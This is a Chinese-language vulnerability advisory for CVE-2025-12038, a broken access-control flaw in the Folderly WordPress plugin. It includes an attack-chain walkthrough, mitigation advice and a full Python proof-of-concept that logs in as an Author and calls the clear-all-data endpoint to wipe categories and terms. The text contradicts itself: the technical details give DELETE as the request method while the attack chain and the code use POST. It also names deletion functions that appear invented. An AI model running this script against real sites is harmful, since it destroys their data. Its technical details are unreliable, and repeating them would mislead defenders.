IPBUF安全漏洞报告
English
CVE-2025-12038 CVSS 4.3 中危

CVE-2025-12038 WordPress Folderly插件权限绕过漏洞

披露日期: 2025-11-01

漏洞信息

漏洞编号
CVE-2025-12038
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Folderly WordPress Plugin

相关标签

CVE-2025-12038WordPressFolderly权限绕过REST APIIDORBroken Access Control中危漏洞

漏洞概述

CVE-2025-12038是WordPress Folderly插件中的一个安全漏洞,CVSS评分4.3,属于中危级别。该漏洞由于插件对REST API端点/wp-json/folderly/v1/config/clear-all-data的权限检查不足而引起。攻击者利用此漏洞可以绕过正常的权限验证,以Author级别(低权限用户)身份调用该API接口,强制清除网站上的所有数据,包括分类目录(categories)和标签(terms)等重要内容。此漏洞存在于Folderly插件0.3及以下所有版本,披露日期为2025年11月1日。由于该漏洞无需任何用户交互即可被利用,且攻击复杂度低,因此对未及时修复的WordPress网站构成中等程度的安全威胁。攻击者通过网络即可发起攻击,无需获取高权限账户,仅仅是Author级别的普通用户账号就足以触发此漏洞。

技术细节

Folderly插件在实现REST API功能时,对clear-all-data端点缺少权限校验。该API端点直接暴露在/wp-json/folderly/v1/config/路径下,允许任何已认证用户访问。WordPress的Author角色默认具有创建、阅读、更新内容的权限,但插件开发者未在REST API处理函数中验证用户是否具有管理选项或删除数据的权限。攻击者只需要一个Author级别的账户,通过发送DELETE请求到该端点,即可触发wp_delete_categories()和wp_delete_terms()等函数,清空网站的所有分类和标签数据。漏洞根因在于使用了current_user_can()检查不足或完全缺失,仅依赖WordPress默认的REST API认证机制,而未进行额外的权限验证。修复方案需要在API处理函数中添加current_user_can('manage_options')或同等权限检查。

攻击链分析

STEP 1
1
攻击者获取WordPress网站的Author级别账户或通过其他方式(如社会工程学、XSS等)获取低权限用户凭据
STEP 2
2
攻击者使用获取的凭据登录WordPress,建立有效的会话Cookie
STEP 3
3
攻击者构造HTTP POST请求到/wp-json/folderly/v1/config/clear-all-data端点
STEP 4
4
由于插件未正确验证用户权限,请求被服务器接受并执行
STEP 5
5
服务器调用wp_delete_categories()和wp_delete_terms()等函数,清空所有分类和标签数据
STEP 6
6
攻击成功,网站内容组织结构被破坏,需要管理员手动恢复备份数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12038 PoC - Folderly Plugin Unauthorized Data Clear # Target: WordPress site with vulnerable Folderly plugin (<= 0.3) # Authentication: Requires Author-level account def exploit(target_url, username, password): """Exploit the insufficient authorization check in Folderly plugin""" # Setup session session = requests.Session() # Step 1: Authenticate to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } print(f"[*] Authenticating as {username}...") response = session.post(login_url, data=login_data, allow_redirects=False) if 'wordpress_logged_in' not in session.cookies: print("[-] Authentication failed!") return False print("[+] Authentication successful!") # Step 2: Send malicious request to clear all data api_endpoint = f"{target_url}/wp-json/folderly/v1/config/clear-all-data" print(f"[*] Sending exploit request to: {api_endpoint}") exploit_data = { 'action': 'clear_all', 'confirm': True } response = session.post(api_endpoint, json=exploit_data) if response.status_code == 200: print("[+] Exploit sent! All terms and categories may have been deleted.") print(f"[*] Response: {response.text}") else: print(f"[-] Exploit failed with status code: {response.status_code}") return True if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com author password123") sys.exit(1) target = sys.argv[1].rstrip('/') user = sys.argv[2] pwd = sys.argv[3] exploit(target, user, pwd)

影响范围

Folderly WordPress Plugin <= 0.3

防御指南

临时缓解措施
如果无法立即升级插件,可通过以下方式临时缓解:在wp-config.php中添加代码限制非管理员访问folderly REST API端点,或使用WAF(Web应用防火墙)规则阻止对/wp-json/folderly/v1/config/clear-all-data路径的访问。同时建议管理员撤销所有非必要用户的Author权限,仅保留可信任用户的操作权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表